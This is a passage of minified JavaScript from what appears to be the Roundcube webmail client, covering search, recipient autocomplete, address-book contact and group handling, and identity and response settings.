ref.http_post("rename-attachment",{_id:ref.env.compose_id,_file:t,_name:e},ref.set_busy(!0,"loading")),!0}))},this.rename_attachment_handler=function(e,t){var s=this.env.attachments[e];s&&t&&(s.name=t,$("#"+e+" .attachment-name").text(t).attr("title",""))},this.add_contact=function(e,t,s){e&&this.http_post("addcontact",{_address:e,_reload:t,_source:s})},this.qsearch=function(e){var t,s;return!(""==e&&!$(this.gui_objects.qsearchbox).val()&&!$(this.gui_objects.search_interval).val()||(t=this.set_busy(!0,"searching"),e=this.search_params(e),s="compose"==this.env.action&&this.contact_list?"search-contacts":"search",this.message_list?this.clear_message_list():this.contact_list&&this.list_contacts_clear(),this.env.source&&(e._source=this.env.source),this.env.group&&(e._gid=this.env.group),this.env.current_page=1,s=this.http_request(s,e,t),this.env.qsearch={lock:t,request:s},this.enable_command("set-listmode",this.env.threads&&"base"==(this.env.search_scope||"base")),0))},this.continue_search=function(t){var s=this.set_busy(!0,"stillsearching");setTimeout(function(){var e=ref.search_params();e._continue=t,ref.env.qsearch={lock:s,request:ref.http_request("search",e,s)}},100)},this.search_params=function(e,t){var s,i={},n=[],a=this.env.search_mods,r=this.env.search_scope||"base",o=this.env.mailbox;if(!t&&this.gui_objects.search_filter&&(t=this.gui_objects.search_filter.value),!e&&this.gui_objects.qsearchbox&&(e=this.gui_objects.qsearchbox.value),this.gui_objects.search_interval&&(i._interval=$(this.gui_objects.search_interval).val()),e&&(i._q=e,a=a&&this.message_list?a[o]||a["*"]:a)){for(s in a)n.push(s);i._headers=n.join(",")}return i._layout=this.env.layout,i._filter=t,i._scope=r,i._mbox=o,i},this.reset_search_filter=function(){this.filter_disabled=!0,this.gui_objects.search_filter&&$(this.gui_objects.search_filter).val("ALL").change(),this.filter_disabled=!1},this.reset_qsearch=function(e){this.gui_objects.qsearchbox&&(this.gui_objects.qsearchbox.value=""),this.gui_objects.search_interval&&$(this.gui_objects.search_interval).val(""),this.env.qsearch&&this.abort_request(this.env.qsearch),e&&(this.env.search_scope="base",this.reset_search_filter()),this.env.qsearch=null,this.env.search_request=null,this.env.search_id=null,this.select_all_mode=!1,this.enable_command("set-listmode",this.env.threads)},this.set_searchscope=function(e){this.env.search_scope=e},this.set_searchinterval=function(e){this.env.search_interval=e},this.set_searchmods=function(e){var t=this.env.mailbox;this.env.search_scope;this.env.search_mods||(this.env.search_mods={}),t&&(this.env.search_mods[t]=e)},this.is_multifolder_listing=function(){return void 0!==this.env.multifolder_listing?this.env.multifolder_listing:this.env.search_request&&"base"!=(this.env.search_scope||"base")},this.sent_successfully=function(e,t,s,i){var n;this.display_message(t,e),this.compose_skip_unsavedcheck=!0,this.env.extwin?(i||this.lock_form(this.gui_objects.messageform),(n=this.opener(!(n={task:"mail",action:""}),n)||this.opener(!0,n))&&(n.display_message(t,e),s)&&0<=$.inArray(n.env.mailbox,s)&&n.command("checkmail"),i||setTimeout(function(){window.close()},1e3)):i||setTimeout(function(){ref.list_mailbox()},500),i&&(this.env.is_sent=!0)},this.image_rotate=function(){var e=this.image_style&&this.image_style.rotate||0;this.image_style.rotate=180<e?0:e+90,this.apply_image_style()},this.image_scale=function(e){var t=this.image_style&&this.image_style.scale||1;this.image_style.scale=Math.max(.1,t+.1*("-"==e?-1:1)),this.apply_image_style()},this.apply_image_style=function(){var i=[],e=$(this.gui_objects.messagepartframe).contents().find("head");$("#image-style",e).remove(),$.each({scale:"",rotate:"deg"},function(e,t){var s=ref.image_style[e];s&&i.push(e+"("+s+t+")")}),i&&e.append($('<style id="image-style">').text("img { transform: "+i.join(" ")+"}"))},this.import_state_set=function(e){var t;this.import_dialog&&(this.import_state=e,t=$(this.import_dialog).parent().find(".ui-dialog-buttonset > button").first(),"error"!=e?(t.hide(),t.next().text(this.gettext("close")).focus()):t.prop("disabled",!1))},this.ksearch_keydown=function(e,t,s){this.ksearch_timer&&clearTimeout(this.ksearch_timer);var i,n,a=rcube_event.get_keycode(e);switch(a){case 38:case 40:return this.ksearch_visible()?(i=38==a?1:0,(n=(n=this.ksearch_pane.find("li.selected")[0])||this.ksearch_pane.__ul.firstChild)&&this.ksearch_select(i?n.previousSibling:n.nextSibling),rcube_event.cancel(e)):void 0;case 9:if(rcube_event.get_modifier(e)==SHIFT_KEY||!this.ksearch_visible())return void this.ksearch_hide();case 13:return this.ksearch_visible()?(this.insert_recipient(this.ksearch_selected),this.ksearch_hide(),9==a?null:rcube_event.cancel(e)):!1;case 27:return void this.ksearch_hide();case 37:case 39:return}return this.ksearch_timer=setTimeout(function(){ref.ksearch_get_results(s)},200),this.ksearch_input=t,!0},this.ksearch_visible=function(){return null!==this.ksearch_selected&&void 0!==this.ksearch_selected&&this.ksearch_value},this.ksearch_select=function(e){this.ksearch_pane&&e&&this.ksearch_pane.find("li.selected").removeClass("selected").removeAttr("aria-selected"),e&&($(e).addClass("selected").attr("aria-selected","true"),this.ksearch_selected=e._rcm_id,$(this.ksearch_input).attr("aria-activedescendant","rcmkSearchItem"+this.ksearch_selected))},this.insert_recipient=function(e){var t,s,i;null!==e&&this.env.contacts[e]&&this.ksearch_input&&(t=!1,i="",e=this.env.contacts[e],this.ksearch_destroy(),"object"==typeof e&&"group"==e.type&&!e.email&&e.id?(i=(s="​"+e.name+"​")+", ",this.group2expand[e.id]={name:s,input:this.ksearch_input},this.http_request("mail/group-expand",{_source:e.source,_gid:e.id},!1)):"object"==typeof e&&e.name?(i=e.name+", ",t=!0):"string"==typeof e&&(i=e+", ",t=!0),this.ksearch_input_replace(this.ksearch_value,i,null,t),t)&&(this.triggerEvent("autocomplete_insert",{field:this.ksearch_input,insert:i,data:e,search:this.ksearch_value_last,result_type:"person"}),this.ksearch_value_last=null,this.compose_type_activity++)},this.replace_group_recipients=function(e,t){var s=this.group2expand[e];s&&(this.ksearch_input_replace(s.name,t,s.input),this.triggerEvent("autocomplete_insert",{field:s.input,insert:t,data:s,search:this.ksearch_value_last,result_type:"group"}),this.ksearch_value_last=null,this.group2expand[e]=null,this.compose_type_activity++)},this.ksearch_get_results=function(e){this.ksearch_pane&&this.ksearch_pane.is(":visible")&&this.ksearch_pane.hide();var t=this.ksearch_input_get(),s=this.env.autocomplete_min_length,i=this.ksearch_data;(t=t.trim())!=this.ksearch_value&&(this.ksearch_destroy(),t.length&&t.length<s?this.ksearch_info||(this.ksearch_info=this.display_message(this.get_label("autocompletechars").replace("$min",s))):(s=this.ksearch_value,this.ksearch_value=t,!(this.ksearch_value_last=t).length||s&&s.length&&t.startsWith(s)&&(!i||i.num<=0)&&this.env.contacts&&!this.env.contacts.length||(s=e&&e.sources?e.sources:[""],i=this.multi_thread_http_request({items:s,threads:e&&e.threads?e.threads:1,action:e&&e.action?e.action:"mail/autocomplete",postdata:{_search:t,_source:"%s"},lock:this.display_message("searching","loading")}),this.ksearch_data={id:i,sources:s.slice(),num:s.length})))},this.ksearch_query_results=function(e,t,s){if(this.multi_thread_http_response(e,s),this.ksearch_value&&(!this.ksearch_input||t==this.ksearch_value)){var i,n,a,r,o,l,t=this.is_framed(),c=this.ksearch_value,h=this.env.autocomplete_max||15;if(this.ksearch_pane||(r=$("<ul>"),this.ksearch_pane=$("<div>").attr({id:"rcmKSearchpane",role:"listbox",class:"select-menu inline"}).css({position:"absolute","z-index":3e4}).append(r).appendTo((t?parent.document:document).body),this.ksearch_pane.__ul=r[0],this.triggerEvent("autocomplete_create",{obj:this.ksearch_pane})),r=this.ksearch_pane.__ul,s&&this.ksearch_pane.data("reqid")==s)h-=r.childNodes.length;else{this.ksearch_pane.data("reqid",s),r.innerHTML="",this.env.contacts=[];var d=$("html").is(".layout-small,.layout-phone")&&1==$(this.ksearch_input).parents(".ac-input").length,_=(d?$(this.ksearch_input).parents(".ac-input"):$(this.ksearch_input))[0],u=$(_).offset();if(u.left-=$(document.documentElement).scrollLeft(),u.top-=$(document.documentElement).scrollTop(),t)try{parent.$("iframe").each(function(){var e;this.contentWindow==window&&(e=$(this).offset(),u.left+=e.left,u.top+=e.top)})}catch(e){}var t=$(t?parent:window).width(),m=$(_).outerWidth(),p=200<t-u.left?u.left:t-200,_=u.top+_.offsetHeight+1,t=Math.min(400,t-p);this.ksearch_pane.css({left:(d?u.left:p)+"px",top:_+"px",maxWidth:(d?m:t)+"px",minWidth:"200px",width:d?m+"px":"auto",display:"none"})}if(e&&(a=e.length))for(i=0;i<a&&0<h;i++)o="object"==typeof e[i]?e[i].display||e[i].name:e[i],l="object"==typeof e[i]?e[i].type:"",n=i+this.env.contacts.length,$("<li>").attr({id:"rcmkSearchItem"+n,role:"option"}).html('<i class="icon"></i>'+this.quote_html(o.replace(new RegExp("("+RegExp.escape(c)+")","ig"),"##$1%%")).replace(/##([^%]+)%%/g,"<b>$1</b>")).addClass(l||"").appendTo(r).mouseover(function(){ref.ksearch_select(this)}).mouseup(function(){ref.ksearch_click(this)}).get(0)._rcm_id=n,--h;r.childNodes.length&&($(this.ksearch_input).attr({"aria-haspopup":"true","aria-expanded":"true","aria-owns":"rcmKSearchpane"}),this.ksearch_pane.show(),this.env.contacts.length||this.ksearch_select($("li",r)[0])),a&&(this.env.contacts=this.env.contacts.concat(e)),this.ksearch_data.id==s&&this.ksearch_data.num--}},this.ksearch_input_get=function(){var e;return this.ksearch_input?(e=this.get_caret_pos(this.ksearch_input),this.ksearch_input.value.substr(0,e).split(/[,;]/).pop()):""},this.ksearch_input_replace=function(e,t,s,i){var n,a,r;(this.ksearch_input||s)&&(s=s||this.ksearch_input,n=this.get_caret_pos(s),r=s.value.lastIndexOf(e,n),a=s.value.substring(0,r),r=s.value.substring(r+e.length,s.value.length),s.value=a+t+r,this.set_caret_pos(s,n+t.length-e.length),$(s).trigger("change",[!0,i]))},this.ksearch_click=function(e){this.ksearch_input&&this.ksearch_input.focus(),this.insert_recipient(e._rcm_id),this.ksearch_hide()},this.ksearch_blur=function(){this.ksearch_timer&&clearTimeout(this.ksearch_timer),this.ksearch_input=null,this.ksearch_hide()},this.ksearch_hide=function(){this.ksearch_selected=null,this.ksearch_value="",this.ksearch_pane&&this.ksearch_pane.hide(),$(this.ksearch_input).attr({"aria-haspopup":"false","aria-expanded":"false"}).removeAttr("aria-activedescendant").removeAttr("aria-owns"),this.ksearch_destroy()},this.ksearch_destroy=function(){this.ksearch_data&&this.multi_thread_request_abort(this.ksearch_data.id),this.ksearch_info&&this.hide_message(this.ksearch_info),this.ksearch_msg&&this.hide_message(this.ksearch_msg),this.ksearch_data=null,this.ksearch_info=null,this.ksearch_msg=null},this.contactlist_select=function(n){this.preview_timer&&clearTimeout(this.preview_timer);var e,t,s=0,a=!1,r=!1,i=!1,o=n.get_selection().length,l=this.env.source?this.env.address_sources[this.env.source]:null;return this.env.contentframe&&!n.multi_selecting&&(e=n.get_single_selection())?this.preview_timer=setTimeout(function(){ref.load_contact(e,"show")},this.preview_delay_click):this.env.contentframe&&this.show_contentframe(!1),o&&(n.draggable=!1,this.env.selection_sources=[],l&&this.env.selection_sources.push(this.env.source),$.each(n.get_selection(),function(e,t){var s,i=n.data[t];l?(a=a||!l.readonly&&!i.readonly,r=r||!0===l.deletable):(s=(t=String(t).replace(/^[^-]+-/,""))?ref.env.address_sources[t]:null)&&(a=a||!s.readonly&&!i.readonly,r=r||!0===s.deletable,ref.env.selection_sources.push(t)),"group"!=i._type&&(n.draggable=!0)}),this.env.selection_sources=$.unique(this.env.selection_sources),l&&l.groups&&$.each(this.env.contactgroups,function(){this.source===ref.env.source&&s++}),t=$.map(this.env.address_sources,function(e,t){return e.readonly?null:t}),i=0<$.grep(t,function(e){return jQuery.inArray(e,ref.env.selection_sources)<0}).length),this.enable_command("group-assign-selected",0<s&&a),this.enable_command("group-remove-selected",this.env.group&&a),this.enable_command("print","qrcode",1==o),this.enable_command("export-selected",0<o),this.enable_command("edit",e&&a),this.enable_command("delete","move",a||r),this.enable_command("copy",i),!1},this.list_contacts=function(e,t,s,i){var n,a=-1,r={},o=void 0===e&&void 0===t&&void 0===s,l=window;e=e||this.env.source,o&&(t=this.env.group),e!=this.env.source?(s=this.env.current_page=1,this.reset_qsearch()):o||t==this.env.group||(s=this.env.current_page=1),this.env.search_id?n="S"+this.env.search_id:this.env.search_request||(n=t?"G"+e+t:e),this.env.source=this.env.last_source=e,this.env.group=this.env.last_group=t,$.each(this.env.address_group_stack,function(e,t){if(ref.env.group==t.id)return a=e,!1}),this.env.address_group_stack=a<0?[]:this.env.address_group_stack.slice(0,a),this.destroy_entity_selector("contactgroup-selector"),this.env.group?((i=i||{}).id=this.env.group,this.env.address_group_stack.push(i),n="G"+e+this.env.address_group_stack[0].id):this.gui_objects.addresslist_title&&$(this.gui_objects.addresslist_title).text(this.get_label("contacts")),this.env.search_id||this.select_folder(n,"",!0),this.gui_objects.contactslist?this.list_contacts_remote(e,t,s):((o=this.get_frame_window(this.env.contentframe))&&(l=o,r._framed=1),t&&(r._gid=t),s&&(r._page=s),e&&(r._source=e),this.env.search_request&&(r._search=this.env.search_request),this.set_busy(!0,"loading"),this.location_href(r,l))},this.list_contacts_remote=function(e,t,s){this.list_contacts_clear();var i={},n=this.set_busy(!0,"loading");e&&(i._source=e),s&&(i._page=s),t&&(i._gid=t),this.env.source=e,this.env.group=t,this.env.search_request&&(i._search=this.env.search_request),this.http_request("mail"==this.env.task?"list-contacts":"list",i,n),"mail"!=this.env.task&&this.update_state({_source:e,_page:s&&1<s?s:null,_gid:t})},this.list_contacts_clear=function(){this.contact_list.data={},this.contact_list.clear(!0),this.show_contentframe(!1),this.enable_command("delete","move","copy","print",!1)},this.set_group_prop=function(e){var t,s;this.gui_objects.addresslist_title&&(t=$(this.gui_objects.addresslist_title).html(""),(1<this.env.address_group_stack.length||1==this.env.address_group_stack.length&&this.env.address_group_stack[0].search_request)&&(s=$('<a href="#list">...</a>').attr({title:this.get_label("uponelevel"),class:"poplink"}).click(function(){return ref.command("popgroup","",this)}),t.append(s).append("&nbsp;&raquo;&nbsp;")),t.append($("<span>").text(e?e.name:this.get_label("contacts"))))},this.load_contact=function(e,t,s){var i,n={},a=window,r=this.contact_list?this.contact_list.data[e]:null;if(i=this.get_frame_window(this.env.contentframe))n._framed=1,a=i,this.show_contentframe(!0),e||this.contact_list.clear_selection(),this.enable_command("export-selected","print",r&&"group"!=r._type);else if(s)return!1;return!t||!e&&"add"!=t||this.drag_active||(this.env.group&&(n._gid=this.env.group),this.env.search_request&&(n._search=this.env.search_request),e&&(n._cid=this.preview_id=e),n._action=t,n._source=this.env.source,this.location_href(n,a,!0)),!0},this.group_member_change=function(e,t,s,i){var n=this.display_message("add"==(e="add"!=e?"del":e)?"addingmember":"removingmember","loading");this.http_post("group-"+e+"members",{_cid:t,_source:s,_gid:i},n)},this.contacts_drag_menu=function(e,t){var s="group"==t.type?t.source:t.id,i=this.env.source;return!(this.env.address_sources[s]&&!this.env.address_sources[s].readonly)||(""==i&&1==this.env.selection_sources.length&&(i=this.env.selection_sources[0]),"group"==t.type&&s==i?(i=this.contact_list.get_selection().join(","),this.group_member_change("add",i,s,t.id),!0):this.commands.move||rcube_event.get_modifier(e)==SHIFT_KEY?this.drag_menu(e,t):(this.copy_contacts(t),!0))},this.copy_contacts=function(e,t,s){if(!e)return s=this.contact_list.get_selection(),this.addressbook_selector(t,function(e,t){e=$(t).data("source")?ref.env.contactgroups["G"+$(t).data("source")+$(t).data("gid")]:ref.env.address_sources[e];ref.copy_contacts(e,null,s)});var i,n,t="group"==e.type?e.source:e.id,a=this.env.source,r=this.env.group||"";(s=(s||this.contact_list.get_selection()).join(","))&&this.env.address_sources[t]&&!this.env.address_sources[t].readonly&&(""==a&&1==this.env.selection_sources.length&&(a=this.env.selection_sources[0]),"group"==e.type?t!=a&&(i=this.display_message("copyingcontact","loading"),n={_cid:s,_source:this.env.source,_to:t,_togid:e.id,_gid:r},this.http_post("copy",n,i)):e.id!=a&&(i=this.display_message("copyingcontact","loading"),n={_cid:s,_source:this.env.source,_to:e.id,_gid:r},this.http_post("copy",n,i)))},this.move_contacts=function(e,t,s){if(!e)return s=this.contact_list.get_selection(),this.addressbook_selector(t,function(e,t){e=$(t).data("source")?ref.env.contactgroups["G"+$(t).data("source")+$(t).data("gid")]:ref.env.address_sources[e];ref.move_contacts(e,null,s)});var t="group"==e.type?e.source:e.id,i=this.env.source;this.env.group;this.env.address_sources[t]&&!this.env.address_sources[t].readonly&&(s=s||this.contact_list.get_selection(),""==i&&1==this.env.selection_sources.length&&(i=this.env.selection_sources[0]),"group"==e.type?t!=i&&this._with_selected_contacts("move",{_to:t,_togid:e.id,_cid:s}):e.id!=i&&this._with_selected_contacts("move",{_to:e.id,_cid:s}))},this.delete_contacts=function(){var e;this.env.source&&this.env.address_sources[this.env.source].undelete?this._with_selected_contacts("delete",{_cid:this.contact_list.get_selection()}):(e=this.contact_list.get_selection(),this.confirm_dialog(this.get_label("deletecontactconfirm"),"delete",function(){ref._with_selected_contacts("delete",{_cid:e})}))},this._with_selected_contacts=function(e,t){var s=t._cid;if(s.length||this.env.cid){var i,n=[],a=this.display_message("delete"==e?"contactdeleting":"movingcontact","loading"),r=this.check_display_next();if(this.env.cid)n.push(this.env.cid);else{for(i=0;i<s.length;i++)id=s[i],n.push(id),this.contact_list.remove_row(id,r&&i==s.length-1);r||this.contact_list.clear_selection()}return(t=t||{})._source=this.env.source,t._from=this.env.action,t._cid=n.join(","),this.env.group&&(t._gid=this.env.group),this.env.search_request&&(t._search=this.env.search_request),this.http_post(e,t,a),!0}},this.update_contact_row=function(e,t,s,i,n){var a=this.contact_list;e=this.html_identifier(e),a.rows[e]||(e=e+"-"+i,s=s&&s+"-"+i),a.update_row(e,t,s,!0),a.data[e]=n},this.add_contact_row=function(e,t,s,i){if(!this.gui_objects.contactslist)return!1;var n,a,r=this.contact_list,o={cols:[]};for(n in o.id="rcmrow"+this.html_identifier(e),o.className="contact "+(s||""),r.in_selection(e)&&(o.className+=" selected"),t)(a={}).className=String(n).toLowerCase(),a.innerHTML=t[n],o.cols.push(a);r.data[e]=i,r.insert_row(o),this.enable_command("export",0<r.rowcount)},this.init_contact_form=function(){if(this.env.coltypes)for(var e in this.set_photo_actions($("#ff_photo").val()),this.env.coltypes)this.init_edit_field(e,null);$(".contactfieldgroup .row a.deletebutton").click(function(){return ref.delete_edit_field(this),!1}),$("select.addfieldmenu").change(function(){ref.insert_edit_field($(this).val(),$(this).attr("rel"),this),this.selectedIndex=0}),$.datepicker&&this.env.date_format&&($.datepicker.setDefaults({dateFormat:this.env.date_format,changeMonth:!0,changeYear:!0,yearRange:"-120:+10",showOtherMonths:!0,selectOtherMonths:!0}),$("input.datepicker").datepicker()),"search"==this.env.action&&$(this.gui_objects.editform).append($('<input type="submit">').hide()).submit(function(){return $("input.mainaction").click(),!1})},this.group_create=function(){var t=$("<input>").attr({type:"text","data-submit":"true"}),e=$("<label>").text(this.get_label("namex")).append(t),s=this.env.source;this.simple_dialog(e,"newgroup",function(){var e;if(e=t.val())return ref.http_post("group-create",{_source:s,_name:e},ref.set_busy(!0,"loading")),!0})},this.group_rename=function(){var t,s,e,i,n;this.env.group&&(t=this.env.contactgroups["G"+this.env.source+this.env.group].name,s=$("<input>").attr({type:"text","data-submit":"true"}).val(t),e=$("<label>").text(this.get_label("namex")).append(s),i=this.env.source,n=this.env.group,this.simple_dialog(e,"grouprename",function(){var e;if((e=s.val())&&e!=t)return ref.http_post("group-rename",{_source:i,_gid:n,_name:e},ref.set_busy(!0,"loading")),!0}))},this.group_delete=function(){var t;this.env.group&&(t=this.env.group,this.confirm_dialog(this.get_label("deletegroupconfirm"),"delete",function(){var e=ref.set_busy(!0,"groupdeleting");ref.http_post("group-delete",{_source:ref.env.source,_gid:t},e)}))},this.remove_group_item=function(e){var t="G"+e.source+e.id;this.treelist.remove(t)&&(this.destroy_entity_selector("addressbook-selector"),this.destroy_entity_selector("contactgroup-selector"),this.triggerEvent("group_delete",{source:e.source,id:e.id}),delete this.env.contactfolders[t],delete this.env.contactgroups[t]),e.source==this.env.source&&e.id==this.env.group&&this.list_contacts(e.source,0)},this.group_assign_selected=function(e,t,s){var i=ref.contact_list.get_selection(),n=ref.env.source;this.contactgroup_selector(s,function(e){ref.group_member_change("add",i,n,e)})},this.group_remove_selected=function(){this.http_post("group-delmembers",{_cid:this.contact_list.get_selection(),_source:this.env.source,_gid:this.env.group})},this.remove_group_contacts=function(e){if(void 0!==this.env.group&&this.env.group===e.gid){for(var t=this.contact_list.get_selection(),s=this.check_display_next(),i=0;i<t.length;i++)id=t[i],this.contact_list.remove_row(id,s&&i==t.length-1);s||this.contact_list.clear_selection()}},this.insert_contact_group=function(e){e.type="group";var t="G"+e.source+e.id,s=$("<a>").attr({href:"#",rel:e.source+":"+e.id}).click(function(){return ref.command("listgroup",e,this)}).text(e.name);this.env.contactfolders[t]=this.env.contactgroups[t]=e,this.treelist.insert({id:t,html:s,classes:["contactgroup"]},e.source,"contactgroup"),this.destroy_entity_selector("addressbook-selector"),this.destroy_entity_selector("contactgroup-selector"),this.triggerEvent("group_insert",{id:e.id,source:e.source,name:e.name,li:this.treelist.get_item(t)})},this.update_contact_group=function(e){var t,s,i="G"+e.source+e.id,n={};e.newid?(t="G"+e.source+e.newid,s=$.extend({},e),this.env.contactfolders[t]=this.env.contactfolders[i],this.env.contactfolders[t].id=e.newid,this.env.group=e.newid,delete this.env.contactfolders[i],delete this.env.contactgroups[i],s.id=e.newid,s.type="group",n.id=t,n.html=$("<a>").attr({href:"#",rel:e.source+":"+e.newid}).click(function(){return ref.command("listgroup",s,this)}).text(e.name)):($(this.treelist.get_item(i)).children().first().text(e.name),this.env.contactfolders[i].name=this.env.contactgroups[i].name=e.name,e.source==this.env.source&&e.id==this.env.group&&this.set_group_prop(e)),this.treelist.update(i,n,!0),this.destroy_entity_selector("addressbook-selector"),this.destroy_entity_selector("contactgroup-selector"),this.triggerEvent("group_update",{id:e.id,source:e.source,name:e.name,li:this.treelist.get_item(i),newid:e.newid})},this.update_group_commands=function(){var e=""!=this.env.source?this.env.address_sources[this.env.source]:null,e=e&&e.groups&&!e.readonly;this.enable_command("group-create",e),this.enable_command("group-rename","group-delete",e&&this.env.group)},this.init_edit_field=function(e,t){var s=this.env.coltypes[e].label;t=t||$(".ff_"+e),s&&!$('label[for="ff_'+e+'"]').length&&t.placeholder(s)},this.insert_edit_field=function(e,t,s){var i=$("#ff_"+e);if(i.length)$('label[for="ff_'+e+'"]').parent().show(),i.show().focus(),$(s).children('option[value="'+e+'"]').prop("disabled",!0);else{$(".ff_"+e);i=$("#contactsection"+t+" .contactcontroller"+e);if(i.length||(t=$("#contactsection"+t),h=$(".contactfieldgroup",t).last(),i=$("<fieldset>").addClass("contactfieldgroup contactcontroller"+e),h.length?i.insertAfter(h):t.prepend(i)),"FIELDSET"==i.get(0).nodeName){var n,a,r,o=this.env.coltypes[e],l=1!=o.limit?"[]":"",c=!!$(s).data("compact"),h="ff_"+e+(o.count||0),t=$("<div>").addClass("row input-group"),d=$("<div>").addClass("contactfieldcontent "+o.type);if(o.subtypes_select?(n=$(o.subtypes_select),c?n.addClass("input-group-prepend"):n=$("<div>").addClass("contactfieldlabel label").append(n)):(n=$("<label>").addClass("contactfieldlabel label input-group-text").attr("for",h).text(o.label),c&&(n=$('<span class="input-group-prepend">').append(n))),"text"==o.type||"date"==o.type)a=$("<input>").addClass("form-control ff_"+e).attr({type:"text",name:"_"+e+l,size:o.size,id:h}),this.init_edit_field(e,a),"date"==o.type&&$.datepicker&&a.addClass("datepicker").datepicker();else if("textarea"==o.type)a=$("<textarea>").addClass("form-control ff_"+e).attr({name:"_"+e+l,cols:o.size,rows:o.rows,id:h}),this.init_edit_field(e,a);else if("composite"==o.type){var _,u,m,p,f,g=[],v=[],b=d;if(t.addClass("composite"),c&&(b=$('<div class="content input-group-text">')),f=this.env[e+"_template"])for(_=0;_<f.length;_++)g.push(f[_][1]),v.push(f[_][2]);else for(u in o.childs)g.push(u);for(_=0;_<g.length;_++)m=o.childs[u=g[_]],a=$("<input>").addClass("form-control ff_"+u).attr({type:"text",name:"_"+u+l,size:m.size}).appendTo(b),c||b.append(v[_]||" "),this.init_edit_field(u,a),p=p||a;a=c?b:p}else"select"==o.type&&((r=(a=$("<select>").addClass("custom-select ff_"+e).attr({name:"_"+e+l,id:h})).attr("options"))[r.length]=new Option("---",""),o.options)&&$.each(o.options,function(e,t){r[r.length]=new Option(t,e)});a&&(h=$('<a href="#del"></a>').addClass("contactfieldbutton deletebutton input-group-text icon delete").attr({title:this.get_label("delete"),rel:e}).html(this.env.delbutton).click(function(){return ref.delete_edit_field(this),!1}),t.append(n),c?(t.append(a).append(h),h.wrap('<span class="input-group-append">')):("composite"!=o.type&&d.append(a),t.append(d.append(h))),t.appendTo(i.show()),(a.is("div")?a.find("input"):a).first().focus(),o.count||(o.count=0),++o.count==o.limit&&o.limit&&$(s).children('option[value="'+e+'"]').prop("disabled",!0),this.triggerEvent("insert-edit-field",a))}}},this.delete_edit_field=function(e){var t=$(e).attr("rel"),s=this.env.coltypes[t],i=$(e).parents("div.row"),e=$(e).parents("fieldset.contactfieldgroup"),n=e.parent().find("select.addfieldmenu");--s.count<=0&&s.visible?i.find("input").val("").blur():(i.remove(),e.children("div.row").length||e.hide()),n.length&&((i=n.children('option[value="'+t+'"]')).length?i.prop("disabled",!1):i=$("<option>").attr("value",t).html(s.label).appendTo(n),n.show())},this.upload_contact_photo=function(e){e&&e.elements._photo.value&&(this.async_upload_form(e,"upload-photo",function(e){ref.set_busy(!1,null,ref.file_upload_id)}),this.file_upload_id=this.set_busy(!0,"uploading"))},this.replace_contact_photo=function(e){var t="-del-"==e?this.env.photo_placeholder:this.env.comm_path+"&_action=photo&_source="+this.env.source+"&_cid="+(this.env.cid||0)+"&_photo="+e;this.set_photo_actions(e),$(this.gui_objects.contactphoto).children("img").attr("src",t)},this.photo_upload_end=function(){this.set_busy(!1,null,this.file_upload_id),delete this.file_upload_id},this.set_photo_actions=function(e){for(var t=this.buttons["upload-photo"],s=0;t&&s<t.length;s++)$("a#"+t[s].id).html(this.get_label("-del-"==e?"addphoto":"replacephoto"));$("#ff_photo").val(e),this.enable_command("upload-photo",!!this.env.coltypes.photo),this.enable_command("delete-photo",this.env.coltypes.photo&&"-del-"!=e)},this.advanced_search=function(){var s=$("<iframe>").attr("src",this.url("search",{_form:1,_framed:1}));return this.simple_dialog(s,"advsearch",function(){var e=!1,t={_adv:1};if($.each($(s[0].contentWindow.rcmail.gui_objects.editform).serializeArray(),function(){this.name.match(/^_search/)&&""!=this.value&&(t[this.name]=this.value,e=!0)}),e)return ref.http_post("search",t,ref.set_busy(!0,"searching")),!0},{button:"search",width:600,height:500}),!0},this.unselect_directory=function(){this.select_folder(""),this.enable_command("search-delete",!1)},this.insert_saved_search=function(e,t){var s="S"+t,i=$("<a>").attr({href:"#",rel:t}).click(function(){return ref.command("listsearch",t,this)}).html(e),e={name:e,id:t};this.savedsearchlist.insert({id:s,html:i,classes:["contactsearch"]},null,"contactsearch"),this.select_folder(s,"",!0),this.enable_command("search-delete",!0),this.env.search_id=t,this.triggerEvent("abook_search_insert",e)},this.search_create=function(){var t=$("<input>").attr("type","text"),e=$("<label>").text(this.get_label("namex")).append(t);this.simple_dialog(e,"searchsave",function(){var e;if(e=t.val())return ref.http_post("search-create",{_search:ref.env.search_request,_name:e},ref.set_busy(!0,"loading")),!0})},this.search_delete=function(){var e;this.env.search_request&&(e=this.set_busy(!0,"savedsearchdeleting"),this.http_post("search-delete",{_sid:this.env.search_id},e))},this.remove_search_item=function(e){this.savedsearchlist.remove("S"+e)&&this.triggerEvent("search_delete",{id:e}),this.env.search_id=null,this.env.search_request=null,this.list_contacts_clear(),this.reset_qsearch(),this.enable_command("search-delete","search-create",!1)},this.listsearch=function(e){var t=this.set_busy(!0,"searching");this.contact_list&&this.list_contacts_clear(),this.reset_qsearch(),this.savedsearchlist?(this.treelist.select(""),this.savedsearchlist.select("S"+e)):this.select_folder("S"+e,"",!0),this.env.current_page=1,this.http_request("search",{_sid:e},t)},this.qrcode=function(){var e=new Image(300,300);return e.src=this.url("addressbook/qrcode",{_source:this.env.source,_cid:this.get_single_cid()}),this.simple_dialog(e,"qrcode",null,{button:!1,cancel_button:"close",width:300,height:300})},this.section_select=function(e){var t,e=e.get_single_selection();e&&(t=this.get_frame_window(this.env.contentframe))&&this.location_href({_action:"edit-prefs",_section:e,_framed:1},t,!0)},this.response_select=function(e){e=e.get_single_selection();this.enable_command("delete",!!e&&$.inArray(e,this.env.readonly_responses)<0),e&&this.load_response(e,"edit-response")},this.load_response=function(e,t){var s;(s=this.get_frame_window(this.env.contentframe))&&(e||"add-response"==t)&&(e||this.responses_list.clear_selection(),this.location_href({_action:t,_id:e,_framed:1},s,!0))},this.identity_select=function(e){var t=e.get_single_selection();this.enable_command("delete",!!t&&1<e.rowcount&&this.env.identities_level<2),t&&this.load_identity(t,"edit-identity")},this.load_identity=function(e,t){var s;(s=this.get_frame_window(this.env.contentframe))&&(e||"add-identity"==t)&&(e||this.identity_list.clear_selection(),this.location_href({_action:t,_iid:e,_framed:1},s,!0))},this.delete_identity=function(e){(e=!e&&this.identity_list?this.identity_list.get_single_selection():e)&&this.confirm_dialog(this.get_label("deleteidentityconfirm"),"delete",function(){ref.http_post("settings/delete-identity",{_iid:e},!0)})},this.delete_response=function(e){(e=!e&&this.responses_list?this.responses_list.get_single_selection():e)&&this.confirm_dialog(this.get_label("deleteresponseconfirm"),"delete",function(){ref.http_post("settings/delete-response",{_id:e},!0)})},this.update_identity_row=function(e,t,s){var 